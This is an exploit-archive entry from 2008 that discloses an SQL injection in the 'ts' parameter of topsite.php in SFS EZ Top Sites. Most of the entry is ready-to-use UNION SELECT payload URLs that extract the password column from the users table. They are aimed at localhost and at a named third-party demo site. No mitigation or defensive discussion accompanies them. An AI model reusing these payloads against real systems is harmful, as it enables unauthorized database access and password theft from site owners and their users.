SFS EZ Top Sites (topsite.php ts) Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : SFS EZ Top Sites (topsite.php ts) Remote SQL Injection Vulnerability
# Published : 2008-10-31
# Author : Stack
# Previous Title : SFS EZ Career (content.php topic) SQL Injection Vulnerability
# Next Title : MyPHP Forum <= 3.0 Edit Topics/Blind SQL Injection Vulnerabilities

###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Sql injection
# Script : SFS EZ Top Sites  Remote sql Injection
# Home Script : http://www.scripts-for-sites.info/item.php?item=112
# Greetz : Allah , All my freind
##########################################################################

http://localhost/topsites/topsite.php?ts=-1/**/UNION/**/SELECT/**/1,password,3,4,5+from+users/*

Demo :

http://turnkeyzone.com/demos/topsites/topsite.php?ts=-1/**/UNION/**/SELECT/**/1,password,3,4,5+from+users/*
http://turnkeyzone.com/demos/topsites/topsite.php?ts=-169%20union%20select%201,2,3,4,5/*

# www.Syue.com [2008-10-31]